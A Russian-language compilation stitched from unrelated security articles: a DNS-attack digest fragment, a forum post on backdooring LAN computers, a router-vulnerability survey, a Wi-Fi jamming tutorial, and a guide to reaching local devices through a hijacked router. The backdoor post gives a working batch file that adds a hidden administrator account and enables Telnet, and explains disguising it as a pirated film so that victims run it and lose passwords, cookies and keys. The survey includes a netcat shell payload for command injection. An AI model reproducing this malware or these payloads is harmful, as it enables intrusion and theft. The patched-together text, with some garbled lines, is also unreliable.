Масштабные атаки с подменой DNS фиксируются последние десять лет, были и более креативные методы, например атака на роутеры с помощью вредоносного приложения, после подключения к Wi-Fi. Дальше масса способов нечестного отъема денег: фишинг с последующей перепродажей паролей на черном рынке (в последнее время ходовым товаром стали оплаченные учетные записи сервисов для стриминга музыки и видео), прямая кража средств через банковские и платежные службы, распространение вредоносного ПО. В той же Бразилии подобные атаки приняли характер эпидемии, счет идет на сотни тысяч атакованных устройств. Так что сегодня перед нами достаточно хорошо документированный, но небольшой эпизод бурной деятельности киберкриминала.

Disclaimer: Мнения, изложенные в этом дайджесте, могут не всегда совпадать с официальной позицией «Лаборатории Касперского». Дорогая редакция вообще рекомендует относиться к любым мнениям со здоровым скептицизмом.

Привет всем, это моя первая статья на хабре, так что не судите строго. В этом посте я опишу как можно получить удаленный доступ к компьютеру пользователя в вашей локальной сети через командную строку, обходя все антивирусы и немного зная синтаксис командной строки Windows. Статья предназначена для использования только на Windows XP, но при желании можно переписать код под любую другую ОС семейства Windows. Итак, приступим. В целом, статья написана для пользователей начального уровня. Самая главная цель — это заполучить нужные данные (пароли, явки, дачи, доступ к почтовым ящикам, файлы ключей webmoney, куки и прочая важная перхоть) и уйти незаметно, не оставив следов проникновения. Итак, начнем, я нахожусь в локальной сети имеющей порядка 5000 пользователей, сеть со статикой или dhcp не имеет значения, мне розан ip адрес и я счастлив. В сети имеется тьма подсетей, роуты которых прописаны на серваке. MAC адрес компа прописан у админа сети, так как в моем случае, это было условие подключения к сетке, таким образом мой мак засветится в случае чего. Во избежание быть найденным, первым делом устанавливаем виртуальную машину (использовал VmWare 5.1), устанавливаем на нее XP, сканер портов (использовал SuperScan 3.00 Скачать можно здесь) и запускаем службу Telnet. Подключаем виртуальную машину к сети с помощью NAT и получаем таким образом совершенно другой mac-адрес машины смотрящей в сеть. Все гуд виртуалку поставили, идем дальше. Открываем обычный блокнот и пишем батник следующего содержания:

@Echo off
Net user Admin_Support lop /add >nul
Net localgroup net localgroup Ђ¤¬Ё­Ёбва в®ал Admin_support /add >nul
Net accounts /maxpwage:unlimited >nul sc config TlntSvr start= auto >nul
Sc start TlntSvr >nul
Reg add «HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonSpecialAccountsUserList » /v Admin_support /t REG_DWORD /d 0 >null
Reg add »HKCUSOFTWAREMicrosoftWindowsCurrentVersionpoliciesSystem» /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Reg add «HKCUSOFTWAREPOLICIESMicrosoftMMC» /v RestrictPemitSnapins /t Reg_dword /d 1 /f >nul del %SestemRoot%system32compmgmt.msc >nul
del Start_game.bat

1. Echo off (думаю всем понятно, объяснять не стоит).

2. Net user Admin_Support lop /add >nul Создаем в системе учетную запись с произвольным логином, в примере: Admin_Support и паролем lop. Учетка появится в списке учетных записей пользователей, можно придумать другое имя, к примеру что-то похожее на SUPPORT_388945a0 (учетная запись поставщика для службы справки и поддержки), на которую большинство пользователей не обращают внимания. Есть 1 нюанс мы создали учетку, но ведь она появится при входе в систему у пользователя, необходимо ее скрыть, об этом будет описано ниже.

3. Net localgroup net localgroup Ђ¤¬Ё­Ёбва в®ал Admin_support /add >nul Добавляем учетку Аdmin_support в группу Администраторы, кодировка слова «Администраторы», как у меня в данном случае «Ђ¤¬Ё­Ёбва в®ал» обязательно должна быть в кодировке DOS. Можно сделать в обычном Far’e. Т.е. то слово у меня уже в кодировке dos.

4. Net accounts /maxpwage:unlimited >nul Период времени в днях, в течение которого будет действовать пароль пользователя. Значение unlimited снимает ограничение по времени. Значение параметра /maxpwage должно быть больше, чем значение параметра /minpwage. Допустимы значения от 1 до 49 710 дней (т. е. значение unlimited равно 49 710 дней), по умолчанию используется значение 90 дней.

5. Sc config TlntSvr start= auto >nul Устанавливаем службу телнет в режим запуска «авто».

6. Sc start TlntSvr >nul Стартуем службу телнет.

7.Reg add “HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonSpecialAccountsUserList ” /v admin_support /t REG_DWORD /d 0 >null Добавляем ключ в реестр, который скроет нашу учетку в записях в панели управления и при входе в винду (Аутентификации).

8. Reg add “HKCUSOFTWAREMicrosoftWindowsCurrentVersionpoliciesSystem” /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Запрещаем запуск редактирования реестра. (Можно обойтись и без этого параметра).

9. Reg add “HKCUSOFTWAREPOLICIESMicrosoftMMC” /v RestrictPemitSnapins /t REG_DWORD /d 1 /f >nul
del %SestemRoot%system32compmgmt.msc >nul Удаляем mmc (Не обязательный параметр).

10. Reg add “HKCUSOFTWAREPOLICIESMicrosoftwindowsSystem” /v DisableCMD /t REG_DWORD /d 2 /f >nul Запрещаю запуск командной строки. (Не обязательный параметр.)

11. Del Start_game.bat Удаляем сам батник.

Батник готов. Сохраняем содержимое блокнота как .bat файл, под любым именем, в моем случае это Start_game.bat

Далее делаем из bat файла exe файл с помощью обычного winrar’a. В параметрах winrar’a устанавливаем параметр «создать архив sfx» и «выполнить после распаковки файл» батник «Start_game.bat». Также в настройках создания архива указываем: распаковывать в скрытом режиме. Помимо этого добавляем к батнику, с помощью того же winrar’a иконку к файлу. Жмем создать архив и получаем exe-шник с иконкой. Работа с Winrar также показана в видеоуроке ниже.

З.Ы. Конечно же можно использовать и другие программы для создания exe файла, которые имеют различный нужный функционал, такой как задание размера файла, типа, скрытия окна распаковки и прочих интересных вещей. В данном примере для большей наглядности я использовал WinRAR.

(Делать можно необязательно exe файл можно создать и другие типы файлов).

Итак мы получили файл с именем Start_game.exe, также можно создать более оригинальный файл с актуальным именем, чтобы пользователи увидев его в сети захотели его скачать, например название фильма, который недавно вышел или скоро должен выйти и его все ждут, (например Трансформеры-3HDTVRip.avi) ну и так далее.

Далее расшариваем папку в сети с нашим Start_game.exe. Как только наш юзверь скачает и запустит наш Start_game.exe, сработает наш батник, и удалится. Открываем нашу виртуальную машину и запускаем сканер портов, где указываем диапозон сканирования нашей сети (в моем случае это 10.16.93.1-10.16.93.255) и порт телнета (22 или 23). Сканер покажет у какого ip адреса открыт порт телнета. Если порт открыт, смело подключаемся, открываем командную строку и подключаемся командой: telnet ip_адрес, где вводим наш логин admin_support и пароль lop. тем самым получаем доступ к командной строке юзверя, и делаем СВОЁ ДЕЛО! ))) Умея пользоваться командной строкой, можно найти и скопировать любые файлы на компьютере пользователя, скрыто установить практически любое нужное программное обеспечение, и много еще чего интересного. Для более наглядного понимания статьи выкладываю реальный видеоурок со своей сети. Урок довольно старый, так как занимался я этим довольно давно.

При желании батник можно доработать для более интересных нужд, в данной статье показан лишь простой способ доступа к ПК пользователя без его ведома.

З.Ы. Единственный минус батника — cmd.exe висит в процессах у пользователя в диспетчере задач. Но я думаю это не так страшно, так как обычные пользователи не особо заморачиваются в знании имени процесса в диспетчере задач.

http://www.youtube.com/watch?v=X5GD4Iu91CU&feature=g-upl&context=G2c89d80AUAAAAAAAAAA

Удаленный доступ и взлом компьютеров в сети с использованием powershell — Powerpreter and Nishang 0.3.1 – Часть 2

Это вторая статья из цикла статей о powerpreter’е.

Предыстория

В августе 2016 года мир познакомился с ботнетом под названием Mirai. Исследователи из группы MalwareMustDie начали изучать зловредную сетевую активность IoT-девайсов в начале августа, а уже 20 сентября ботнет примерно из 150 000 устройств (в основном DVR и IP-камер) атаковал серверы Minecraft, расположенные у французского провайдера OVH.

Заражение IoT-устройств осуществлялось посредством подбора учетной записи Telnet на портах 23 или 2323 по списку из 62 стандартных паролей. IP-адреса генерировались абсолютно случайно по всему диапазону, и после включения в сеть каждое зараженное устройство начинало сканирование этих рандомных адресов. Код, управляющий ботнетом, не хранился в долговременной памяти и, следовательно, не мог пережить перезагрузку устройства. Однако, учитывая скорость, с которой боты сканировали интернет, после перезагрузки устройство вскоре вновь включалось в состав ботнета.

Далее последовали крупнейшие атаки на журналиста Брайана Кребса, на DynDNS, Либерию, немецкого оператора Deutsche Telekom и один из колледжей в США. Исходный код ботнета Mirai был опубликован в начале октября и атака на немецкого оператора двумя месяцами позже уже велась с использованием модифицированной версии Mirai, эксплуатировавшей уязвимость сервера RomPager на порте 7547 (протокол CWMP).

По заявлению автора, опубликовавшего код Mirai, он имел 380 тысяч устройств в составе ботнета единовременно. Такой размах, конечно же, был обусловлен небрежностью: открытый наружу Telnet-сервис и отсутствие обязательной смены пароля не способствуют безопасности.

Что-нибудь кроме веб-камер?

Борьба с такими атаками медленно, но верно приводит к снижению числа скомпрометированных устройств со стандартными паролями. Постепенно тактика меняется с подбора учетных записей на эксплуатацию различного рода уязвимостей.

В то время как ботнет вбирал в себя преимущественно видеокамеры и другие IoT-девайсы, у которых служба Telnet дает доступ к Linux-командам, — служба Telnet на роутерах предоставляла доступ лишь к CLI настройки. Такой CLI позволяет читать и менять конфигурацию устройства, настройки DNS, ip route и системную информацию, что уже само по себе позволит провести некоторые атаки, но не позволяет установить ПО для удаленного управления.

Однако отсутствие bash-терминала не означает отсутствия других векторов атак.

Что собой представляет среднестатистический домашний роутер? Это:

• доступная извне веб-панель с агрессивным дизайном;
• read-only файловая система squashfs и

10 МБ флеш-памяти;

При этом средний возраст прошивки на устройстве составляет 3–4 года. Этот возраст коррелирует со средним возрастом самого роутера, или, другими словами, пользователи скорее меняют само устройство, чем обновляют его прошивку. В последнее время эта статистика меняется в лучшую сторону провайдерами, которые удаленно и без участия пользователя диагностируют, конфигурируют и накатывают обновления на роутеры пользователей. Правда, работает это только для тех устройств, которые провайдеры поставляют под собственным брендом.

На данный момент опытным путем установлено, что пароли примерно 15 из 100 устройств никогда не менялись со значений по умолчанию. И зная всего пять самых популярных пар, можно получить доступ к админке каждого десятого устройства:

Получив доступ к веб-панели, атакующий также получает уникальную возможность испортить жизнь всем пользователям по ту сторону, проводить DNS Spoofing и исследовать внутреннюю сеть. При большой удаче он способен еще и вызывать с веб-панели такие команды, как ping или traceroute, найти уязвимость в коде веб-сервера для получения шелла или воспользоваться одной из уже найденных.

Разнообразие и простота известных уязвимостей (а также и баг-репорты) в роутерном ПО говорят о том, что функциональность устройств редко покрывается достаточным тестированием и у разработчиков ПО нет необходимых навыков безопасной разработки. Также при разработке не учитываются модели злоумышленников. Покупатель может приобрести роутер с одной из похожих уязвимостей на борту:

NETGEAR DGN2200v1/v2/v3/v4 — ‘ping.cgi’ RCE (link)

Недостаточность проверок в ping.cgi приводит к тому, что введенный IP-адрес от пользователя попадает прямо в bash. Выполнить произвольные команды в терминале можно просто дописав их в поле IP-адреса в POST-запросе. Вот так: 12.12.12.12; nc -l 4444 -e /bin/bash. Вместо nc можно добавить более функциональную нагрузку, например msfvenom. 3000 девайсов ждут своего часа, чтобы раскрыть потенциал. Эксплуатация потребует авторизации на веб-интерфейсе.

Multiple vulnerabilities in GoAhead WIFICAM cameras (link)

Многочисленные уязвимости были обнаружены более чем в 1250 моделях IP-камер, в зоне риска находятся около 130 000 камер. Ошибка в реализации кастомного механизма авторизации, которая позволяет получить админский пароль, и уязвимость типа OS Command Injection на странице set_ftp.cgi, которая позволяет выполнять любые терминальные команды, вместе дают полный контроль над устройством без каких-либо ограничений. Впечатляет! Использование этой уязвимости добавил в своей арсенал ботнет TheMoon, известный с 2021 года. В ходе исследования были обнаружены зараженные камеры, в файл settings.ini которых был добавлен скрипт, загружающий зловредный код с сервера злоумышленников при загрузке устройства.

В конце цепочки загрузок с сервера злоумышленников прилетает скомпилированный под ARM-архитектуру исполняемый файл:

который 17 из 54 антивирусов идентифицируют как Linux/Proxy.

Linksys Smart Wi-Fi Vulnerabilities (link)

По результатам исследования 25 моделей активно продаваемых по всему миру роутеров из линейки Linksys Smart Wi-Fi оказались подвержены 10 уязвимостям различной степени опасности. В числе уязвимостей и те, что позволяют выполнять произвольные команды с правами root. Несмотря на то, что суммарно с помощью Shodan можно обнаружить лишь около 1000 единиц, исследователи говорят более чем о 7000 просканированных устройств.

Привет, начинающий хакер.

Продолжаем изучать хакерские утилиты и сегодня разберемся как работать с WebSploit. На примере проведения DOS-атаки на Wi-Fi сеть. При этом, напомню, что вмешательство в работу чужих сетей, может нарушать требования законодательства, а все материалы в этой статье представлены исключительно в образовательных и ознакомительных целях, а также для повышения уровня понимания основ информационной безопасности и не являются призывом к действию.

Что такое DOS-атака?

DOS – это аббревиатура от английского Denial of Service, что переводится как “отказ в обслуживании” – т.е. это атака на систему, с целью довести её до такого состояния, когда доступ к ресурсам затруднён или невозможен. Что касается всем известного DDOS (Distributed Denial of Service) то это тоже самое, с той разницей, что DDOS проводится с использованием большого числа компьютеров. Обычно DDOS используется против крупных коммерческих сервисов или государственных порталов, сервера которых, как правило неплохо защищены и обычный DOS могут даже не заметить.

Вполне очевидно (из определения) что DOS атаку можно провести на любую систему, сеть, службу и т.д. в том числе и на wi-fi. И именно этим мы сегодня и займёмся.

WebSploit

С чего начать использование WebSploit? Правильно, с его установки:

После установки запускаем его:

И на экране появиться приветствие с номером версии, датой последнего обновления и т.д., а также предложение к вводу команды:

Команд которые можно использовать не так много, что, скорее, хорошо:

set – установить значение параметров для модулей
scan – сканировать wi-fi (беспроводные модули)
stop – остановить атаку и сканировать (беспроводные модули)
run – выполнить модуль
use – выбрать модуль для использования
os – запуск команд Linux (например: ifconfig)
back – выйти из текущего модуля
show modules – показать модули из текущей базы данных
show options – показать текущие параметры выбранного модуля
upgrade – обновить до новой версии
update – обновление Websploit Framework

Теперь, чисто в образовательных целях, ознакомимся с доступными модулями утилиты:

Список доступных модулей не такой уж и маленький:

Логика использования каждого из предложенных модулей довольно похожа, и понятна из доступных в этом фреймворке команд, и мы разберем её на примере wi-fi jammer.

Но перед этим необходимо провести парочку подготовительных мероприятий (в другом окне терминала), а именно перевести наш беспроводной адаптер в режим мониторинга:

Предварительно, командой iwconfig проверь как называется твой беспроводной интерфейс. А иногда (редко) может понадобиться завершить процессы о которых нас предупреждает airmon-ng. Это можно сделать командой kill и указать PID процесса.

Теперь нам нужно определиться с какой именно wi-fi сетью мы будем работать, для этого давай посмотрим какие сети есть в пределах досягаемости:

Мы будем работать со специально созданной мной для этого сетью home 33. Собственно, из всех имеющихся сведений о сети, нам понадобятся: BSSID, CH, ESSID

Теперь вернёмся к WebSploit и задействуем нужный нам модуль:

теперь можем ознакомиться с настройками этого модуля:

В разделе Options мы видим какие параметры нужно дать модулю для работы:

Убедившись что всё правильно, можем запускать:

После этого утилита начнёт работу, а все кто подключен к атакуемой wi-fi с горечью обнаружат, что у них пропал интернет.

Остановить процесс можно командой stop.

Защита от DOS атаки на wi-fi

Если твоя сеть оказалось под такой атакой, но твой компьютер подключен к роутеру по проводу, то ты эту атаку даже не заметишь. А если серьёзно, то есть несколько простых правил которые если не гарантируют защиту от подобного рода вмешательств, то, как минимум, увеличивают шанс неудачи для злодея. Во-первых своевременно обновляй прошивку роутера, и как бы банально это не звучало, это не становиться менее важным, ведь многие игнорируют этот простой момент, а производители роутеров, в обновлениях, частенько закрывают многие дырки и исправляют уязвимости, а иногда добавляют определенные элементы защиты, поэтому этот совет важен в общем контексте безопасности твоей сети, а не только в разрезе защиты от DOS. Во-вторых некоторые роутеры имеют встроенные механизмы защиты от подобных (и не только) вмешательств, поищи в настройках роутера, что-нибудь наподобие (названия варьируются в зависимости от производителя): flooding protection, ping of death, scanner protection и т.д., и включи их, лишним точно не будет. Ну и напоследок ещё одна банальность – сделай свою сеть скрытой, конечно от целенаправленной атаки именно на тебя не спасёт, но от “мамкиных хацкеров” идеальная защита.

А на этом, пожалуй всё. Используй полученные знания только во благо и не забывай возвращаться к нам, чтобы узнать ещё много интересного.

Этичный хакинг и тестирование на проникновение, информационная безопасность

Если получен доступ к роутеру, можно ли получить доступ к устройствам в локальной сети? Чтобы ответить на этот вопрос, давайте разберёмся, как работает домашняя локальная сеть.

Как работает домашняя локальная сеть

В домашней локальной сети основой является роутер — довольно сложное сетевое устройство. Это устройство обеспечивает работу локальной сети. При подключении нового устройства к локальной сети роутера, он с помощью протокола DHCP присваивает новому устройству IP адрес. В качестве диапазона IP адресов в домашних сетях обычно используются 192.168.1.0/24, 192.168.0.0/24 или 192.168.100.0/24.

То есть у вашего компьютера или телефона, подключённого к Интернету через роутер, имеется локальный IP адрес.

Возможно вы уже слышали про NAT и даже знаете, что эта технология позволяет Интернет-провайдеру использовать один единственный внешний (белый) IP адрес для всех или для множества его клиентов. Но NAT используется не только на уровне провайдера Интернет услуг, но и уже в вашем роутере. Рассмотрим NAT чуть подробнее.

NAT — это технология, которая позволяет множеству устройств выходить в Интернет используя один и тот же IP адрес. Кстати, в вашей локальной сети, в которой имеется роутер, уже применяется NAT — именно благодаря этому все ваши устройства могут выходить в Глобальную сеть и не нужно каждому из них иметь внешний IP.

Как вы понимаете, это часто используемая технология. Возможно, вы много лет ею пользуетесь, даже не зная про неё. Она действительно приносит очень много пользы, но у неё есть недостаток — она позволяет делать подключения «в одну сторону». То есть если ваш компьютер инициализировал подключение к Интернету, то он отправит его роутеру, роутер сделает две вещи: 1) запомнит, что запрос пришёл с определённого устройства и 2) отправить этот запрос в Интернет. Когда придёт ответ, роутер всё ещё «помнит», что этот запрос был сделан для определённого устройства в локальной сети, и отправит ответ именно этому устройству. И так происходит каждый раз.

Но вот если на роутер придёт новый HTTP запрос из Глобальной сети (не ответ на запрос, а именно новый запрос), то роутер банально не знает, для кого в локальной сети он предназначен (если не настроена переадресация портов). Поэтому с этим поступившим запросом роутер ничего не делает (источник).

Можно ли получить доступ к компьютеру в локальной сети, если есть доступ к роутеру?

Вроде бы, ответ очевиден — технология NAT не даёт такой возможности в принципе: подключение к локальным устройствам, у которых нет белого IP, а есть только локальный IP вида 192.168.0.*, невозможен.

Но я начал с того, что роутер это весьма сложное сетевое устройство. И это устройство поддерживает множество функций по настройке сети, в частности оно поддерживает:

• настройку статичных IP адресов для устройств в локальной сети минуя протокол DHCP
• Forwarding портов

Forwarding портов

Forwarding, который ещё называют «переадресацией» портов, «проброской портов», «перенаправлением портов» или «Port mapping» (сопоставление портов) позволяет делать очень замечательную вещь — с его помощью устройства за NAT, то есть устройство в локальной сети, имеющее локальный IP адрес, могут стать доступными глобально. Правила могут быть настроены весьма гибкой, можно сделать пересылку нескольких портов на один, или с одного на несколько, или несколько на несколько и так далее. Но для наших целей больше всего интересно следующее правило, которое словами можно выразить так:

Запрос, который пришёл на порт роутера 22 перенаправить на порт 22 устройства с IP адресом 192.168.0.5.

Номера портов необязательно должны быть одинаковыми, поэтому правило может быть таким:

Запрос, который пришёл на порт роутера 50080 перенаправить на порт 80 устройства с IP адресом 192.168.0.5.

В результате мы получим доступ к порту 80 (его обычно прослушивает веб-сервер) устройства в локальной сети 192.168.0.5.

Это означает, что мы можем получить доступ к любому открытому порту и запущенному на нём службе в локальной сети! Это может быть веб-сервер, SSH, FTP, сетевые протоколы Windows и т.д.

Просмотр устройств локальной сети. Настройка статических адресов в локальной сети

Чтобы выполнить атаку на устройства в локальной сети через уязвимый роутер, нам нужно знать, какие у этих устройств локальные IP адреса.

Рассмотрим пример. В локальной сети провайдера есть роутер с IP адресом 100.69.64.23 к которому получен административный доступ.

Все (или практически все) роутеры могут показать информацию о подключённых в данный момент клиентах. Эта информация может быть:

• на странице статуса роутера
• на странице настройки DHCP
• на странице статуса LAN (локальной сети)

Например, на этом роутере информация собрана на странице DHCP Clients List:

Данный роутер показывает всего лишь MAC-адрес и локальный IP адрес устройств. Многие роутеры кроме этой информации также показывают, является ли это мобильным устройством или настольным компьютером. Поскольку здесь такой информации нет, то мне нужно самостоятельно догадаться о типе устройства на основе его производителя. Производителя устройства можно узнать по MAC адресу на этом сервисе: https://suip.biz/ru/?act=mac

Например, для MAC 00:80:92:c4:6a:f9 найдена следующая информация:

Меня не интересуют мобильные телефоны и планшеты — как правило, на них все порты закрыты. Меня интересуют ноутбуки и настольные компьютеры, поскольку на них могут быть запущены службы, которые прослушивают порты.

Из всех устройств самыми интересными мне показались следующие

Причина в следующем:

• их MAC-адреса, вроде бы, не принадлежат производителям мобильных телефонов
• их IP адреса являются самыми первыми — то есть к роутеру весьма вероятно вначале подключаются проводные устройства, а затем устройства по Wi-Fi
• эти устройства отсутствуют в списке беспроводных клиентов:

Если атака планируется длительной, то определённым устройствам можно присвоить статичные IP адреса. Дело в том, что проброска портов настраивается относительно IP адреса. А целевое устройство через некоторое время может сменить IP адрес на произвольный. Если это случиться, то правила переадресации портов будут работать — просто теперь они будут отправлять пакеты другому устройству, которое заняло этот IP адрес.

Чтобы этого избежать можно привязать IP к MAC-адресу — мне ещё не встречались роутеры, которые не умеют этого делать. Настройка выполняется достаточно просто.

Настройка переадресации портов

В зависимости от модели роутера эта вкладка может называться

• Forwarding
• Port Forwarding
• Port mapping
• Переадресация портов
• другие варианты

Например, на рассматриваемом роутере эту вкладку я нашёл по пути Application > Port Forwarding:

Всего портов 1-65535 и роутеры позволяют делать переадресацию диапазонов, то есть 65 тысяч портов не придётся настраивать по одному.

Но есть очень важное замечание — мы не можем настроить переадресацию того порта, на котором работает веб-сервер роутера. То есть если роутер открывается на 80 порту, то этот порт должен стать исключением. Иначе произойдёт следующее: ни мы, ни даже владелец роутера больше не сможем попасть в панель администрирования роутера пока не будут сброшены настройки на заводские.

Обратите внимание, что некоторые роутеры работают не на 80, а на 8080 или 443 порте.

Итак, если веб-интерфейс роутера работает на 80 порту и мы хотим получить доступ к локальным ресурсам устройства с IP 192.168.1.2, то нам нужно установить следующие три правила:

• Переадресацию портов 1-79 на 1-79 порты адреса 192.168.1.2
• Переадресацию портов 81-65534 на 81-65534 порты адреса 192.168.1.2
• Переадресацию порта 65535 на 80 порт адреса 192.168.1.2

Первые два правила с диапазонами (надеюсь) очевидны. Третьим правилом мы перенаправляем запросы, пришедшие на порт 65535, на 80 порт локального компьютера, поскольку там может быть веб-сервер или что-то другое интересное.

Начнём с того, что сделаем контрольный замер, какие именно порты открыты:

Эта команда покажет открытые порты на роутере:

Добавляем первое правило:

Заново сканируем порты:

Констатируем — нас постигла неудача. 80-й порт — это порт самого роутера, а на устройстве с IP 192.168.1.2 просканированные порты закрыты.

Не отчаиваемся — переделываю все правила на переадресацию портов на IP 192.168.1.3:

И опять сканируем порты:

Поясню, хотя команда Nmap одна и та же, но на самом деле в предыдущий раз мы сканировали порты устройства в локальной сети с IP 192.168.1.2. А последняя команда уже сканирует порты на 192.168.1.3.

А вот здесь нам повезло:

Напомню, что все эти порты, кроме 80, открыты на устройстве, у которого даже нет белого IP адреса, у него IP адрес 192.168.1.3.

А как проверить 80 порт на 192.168.1.3? Делаем это так:

Порт оказался закрыт.

Чтобы собрать информацию об отрытых портах, изучим их баннеры:

Не очень интересно — видимо, это всё функции связанные с принтером.

Чтобы подключиться к HTTPS порту, достаточно открыть ссылку в веб-браузере: https://100.69.64.23:443

А там мы видим интерфейс многофункционального устройства (принтер-копер-сканер) MFC-J5910DW:

Ещё раз для тех, кто потерялся, это устройство с IP адресом 192.168.1.3!

Также я сумел подключиться к FTP:

Заключение

Это самый универсальный способ атаки на локальную сеть с уязвимым роутером, поскольку практически все роутеры поддерживают переадресацию портов.

Другие варианты атак:

• подмена DNS на сервера злоумышленника и манипуляция трафиком на основе поддельных DNS ответов (подвержены все роутеры) (см. Применение фальшивого DNS)
• перенаправление трафика с помощью VPN канала на оборудование злоумышленника (подвержены только более продвинутые модели с поддержкой VPN) (см. Применение фальшивого VPN (атака человек-посередине+обход HSTS))
• доступ к медиа носителям, подключённым к роутеру (подвержены только модели с такой функциональностью)